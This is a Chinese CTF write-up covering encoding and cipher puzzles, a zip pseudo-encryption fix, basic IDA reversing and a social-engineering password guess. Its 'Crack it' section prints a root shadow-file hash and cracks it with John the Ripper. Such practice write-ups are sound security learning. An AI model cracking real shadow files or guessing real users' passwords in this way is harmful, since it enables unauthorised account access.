&#x26;&#x23;&#x31;&#x30;&#x32;&#x3b;&#x26;&#x23;&#x31;&#x30;&#x38;&#x3b;&#x26;&#x23;&#x39;&#x37;&#x3b;&#x26;&#x23;&#x31;&#x30;&#x33;&#x3b;&#x26;&#x23;&#x33;&#x37;&#x3b;&#x26;&#x23;&#x35;&#x35;&#x3b;&#x26;&#x23;&#x36;&#x36;&#x3b;&#x26;&#x23;&#x39;&#x39;&#x3b;&#x26;&#x23;&#x31;&#x31;&#x36;&#x3b;&#x26;&#x23;&#x31;&#x30;&#x32;&#x3b;&#x26;&#x23;&#x39;&#x35;&#x3b;&#x26;&#x23;&#x31;&#x31;&#x36;&#x3b;&#x26;&#x23;&#x31;&#x30;&#x32;&#x3b;&#x26;&#x23;&#x39;&#x39;&#x3b;&#x26;&#x23;&#x35;&#x30;&#x3b;&#x26;&#x23;&#x34;&#x38;&#x3b;&#x26;&#x23;&#x34;&#x39;&#x3b;&#x26;&#x23;&#x35;&#x35;&#x3b;&#x26;&#x23;&#x34;&#x39;&#x3b;&#x26;&#x23;&#x35;&#x35;&#x3b;&#x26;&#x23;&#x31;&#x31;&#x33;&#x3b;&#x26;&#x23;&#x31;&#x31;&#x39;&#x3b;&#x26;&#x23;&#x31;&#x30;&#x31;&#x3b;&#x26;&#x23;&#x33;&#x37;&#x3b;&#x26;&#x23;&#x35;&#x35;&#x3b;&#x26;&#x23;&#x36;&#x38;&#x3b;

HTML解码。

&#102;&#108;&#97;&#103;&#37;&#55;&#66;&#99;&#116;&#102;&#95;&#116;&#102;&#99;&#50;&#48;&#49;&#55;&#49;&#55;&#113;&#119;&#101;&#37;&#55;&#68;

HTML解码。

flag%7Bctf_tfc201717qwe%7D

改为正常的flag格式。

.!?

Des:N/A。

再怎么改,也改不掉对Ook的独特记忆,https://www.splitbrain.org/services/ook。

获得flag

+[]-

Des:N/A。

+++++ +++++ [->++ +++++ +++<] >++.+ +++++ .<+++ [->-- -<]>- -.+++ +++.<
++++[ ->+++ +<]>+ +++.< +++++ [->-- ---<] >.<++ ++[-> ++++< ]>+++ .<+++
[->-- -<]>- ----. ++++. <+++[ ->+++ <]>+. <++++ [->-- --<]> ----- -.<++
+[->+ ++<]> ++.-. ----- ---.< +++[- >+++< ]>+++ .---- .<+++ [->-- -<]>-
.<+++ +++[- >---- --<]> ----- ----. +.<++ +++++ +[->+ +++++ ++<]> +++++
+++++ .<

Ook的兄弟,Brainfuck又来了,https://www.splitbrain.org/services/ook。

获得flag

奇怪的密码

Des:突然天上一道雷电,gndk€rlqhmtkwwp}z。

g n d k的ASCII码值分别为103 110 100 107

f l a g的ASCII码值分别为102 108 97 103

发现了规律,上python

s = 'gndk€rlqhmtkwwp}z'
i = 0
flag = ''
while i < len(s):
    num = ord(s[i]) - (i + 1)
    flag += chr(num)
    i += 1
print(flag)

获得flag

托马斯.杰斐逊

Des:N/A。

这个之前有做过。

先根据密钥对各行进行替换。

然后根据密文,对第一列元素进行排列,对每行元素进行循环。

唯一读的通顺的就是倒数第六列:XSXSBUGKUADMIN

获得flag

zip伪加密

Des:N/A。

题目给了一个压缩包,打开里面的flag.txt文档需要密码,当然这里说了伪加密。

先来分析一下ZIP文件的三个组成部分:

压缩源文件数据区:
50 4B 03 04:这是头文件标记(0x04034b50)
14 00:解压文件所需 pkware 版本
00 00:全局方式位标记(有N/A加密)
08 00:压缩方式
5A 7E:最后修改文件时间
F7 46:最后修改文件日期
16 B5 80 14:CRC-32校验(1480B516)
19 00 00 00:压缩后尺寸(25)
17 00 00 00:未压缩尺寸(23)
07 00:文件名长度
00 00:扩展记录长度
 
压缩源文件目录区:
50 4B 01 02:目录中文件文件头标记(0x02014b50)
3F 00:压缩使用的 pkware 版本
14 00:解压文件所需 pkware 版本
00 00:全局方式位标记(有N/A加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了)
08 00:压缩方式
5A 7E:最后修改文件时间
F7 46:最后修改文件日期
16 B5 80 14:CRC-32校验(1480B516)
19 00 00 00:压缩后尺寸(25)
17 00 00 00:未压缩尺寸(23)
07 00:文件名长度
24 00:扩展字段长度
00 00:文件注释长度
00 00:磁盘开始号
00 00:内部文件属性
20 00 00 00:外部文件属性
00 00 00 00:局部头部偏移量
 
压缩源文件目录结束标志:
50 4B 05 06:目录结束标记
00 00:当前磁盘编号
00 00:目录区开始磁盘编号
01 00:本磁盘上纪录总数
01 00:目录区中纪录总数
59 00 00 00:目录区尺寸大小
3E 00 00 00:目录区对第一张磁盘的偏移量
00 00:ZIP 文件注释长度

找到头文件标记50 4B 03 04与文件头标记50 4B 01 02,将后面对应的全局方式位标记00 09改为00 00破解伪加密,保存后成功打开flag.txt

获得flag

告诉你个秘密

Des:636A56355279427363446C4A49454A7154534230526D6843 56445A31614342354E326C4B4946467A5769426961453067。

数字范围0-9,字母范围A-E

十六进制转字符串。

cjV5RyBscDlJIEJqTSB0RmhCVDZ1aCB5N2lKIFFzWiBiaE0g

Base64转字符串。

r5yG lp9I BjM tFhB T6uh y7iJ QsZ bhM

这个东西,看看键盘,刚好把中间的键给围了起来。

TONGYUAN

获得flag

这不是md5

Des:666c61677b616537333538376261353662616566357d。

数字范围1-8,字母范围b-d

十六进制转文本。

获得flag

贝斯家族

Des:@iH<,{bdR2H;i6*Tm,Wx2izpx2!。

都说了是Base编码了,本菜鸟一个个试,试出来是Base91编码,进行解码。

获得flag

富强民主

Des:公正公正公正诚信文明公正民主公正法治法治友善平等和谐敬业和谐富强和谐富强和谐文明和谐平等公正公正和谐法治公正公正公正文明和谐民主和谐敬业和谐平等和谐敬业和谐敬业和谐和谐和谐公正法治友善法治。

这个…查了一下,这是核心价值观编码。CTF在线工具-在线核心价值观编码|核心价值观编码算法|Core Values Encoder (ssleye.com)

获得flag

python

Des:N/A。

暂时解不出…

进制转换

Des:二进制、八进制、十进制、十六进制,你能分的清吗?

d87 x65 x6c x63 o157 d109 o145 b100000 d116 b1101111 o40 x6b b1100101 b1101100 o141 d105 x62 d101 b1101001 d46 o40 d71 x69 d118 x65 x20 b1111001 o157 b1110101 d32 o141 d32 d102 o154 x61 x67 b100000 o141 d115 b100000 b1100001 d32 x67 o151 x66 d116 b101110 b100000 d32 d102 d108 d97 o147 d123 x31 b1100101 b110100 d98 d102 b111000 d49 b1100001 d54 b110011 x39 o64 o144 o145 d53 x61 b1100010 b1100011 o60 d48 o65 b1100001 x63 b110110 d101 o63 b111001 d97 d51 o70 d55 b1100010 d125 x20 b101110 x20 b1001000 d97 d118 o145 x20 d97 o40 d103 d111 d111 x64 d32 o164 b1101001 x6d o145 x7e

思路:先把所有数据转换为统一的形式,再转换为字符串。这里转为十六进制。

十六进制转字符串。

获得flag

affine

Des:y = 17*x-8 flag{szzyfimhyzd}。

affine为仿射的意思,那么这就是仿射加密了。

上脚本。

s = 'szzyfimhyzd'
list = []
for i in s:
    list.append(ord(i) - 97)
flag = ''
for i in list:
    for j in range(0, 26):
        c = (17 * j - 8) % 26
        if (c == i):
            flag += chr(j + 97)
print(flag)

获得flag

Crack it

Des:破解该文件,获得密码。

给了一个shadow文件,记事本打开看看,内容:

root:$6$HRMJoyGA$26FIgg6CU0bGUOfqFB0Qo9AE2LRZxG8N3H.3BK8t49wGlYbkFbxVFtGOZqVIq3qQ6k0oetDbn2aVzdhuVQ6US.:17770:0:99999:7:::

这个需要应该是破解用户密码,使用kalijohn工具,命令:

john shadow

可以发现密码为hellokitty

获得flag

rsa

Des:N/A。

N : 460657813884289609896372056585544172485318117026246263899744329237492701820627219556007788200590119136173895989001382151536006853823326382892363143604314518686388786002989248800814861248595075326277099645338694977097459168530898776007293695728101976069423971696524237755227187061418202849911479124793990722597

e : 354611102441307572056572181827925899198345350228753730931089393275463916544456626894245415096107834465778409532373187125318554614722599301791528916212839368121066035541008808261534500586023652767712271625785204280964688004680328300124849680477105302519377370092578107827116821391826210972320377614967547827619

enc : 38230991316229399651823567590692301060044620412191737764632384680546256228451518238842965221394711848337832459443844446889468362154188214840736744657885858943810177675871991111466653158257191139605699916347308294995664530280816850482740530602254559123759121106338359220242637775919026933563326069449424391192

暂时无解。

来自宇宙的信号

Des:银河战队出击。

搜索标准银河字母,找到对应表。

对应下来就是:

nopqrst

获得flag

Reverse

入门逆向

Des:N/A。

IDA打开看看,定位到main函数。

有很多的mov指令,66h为f,6Ch为l,猜测这一串就是flag,点击对应的值按R进行转换。

获得flag

Easy_vb

Des:N/A。

IDA打开文件,上下翻一下。

获得flag

Easy_Re

Des:Hint: 1.逆向常用的工具有IDA 、ollydbg。

IDA打开文件,挨个看看。

搜索CTF

双击定位去看看。

这里的xmmworddq可以转化成字符串,选中按R进行转换。

将字符串转换为合理的顺序。

获得flag

游戏过关

Des:N/A。

先用PEiD看看,

社工

密码

DES:姓名:张三,生日:19970315。

唔,因为是第一个题,应该不会太难,猜测内容为zs19970315

获得flag

Pwn

pwn1

Des:nc 114.116.54.89 10001。

文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。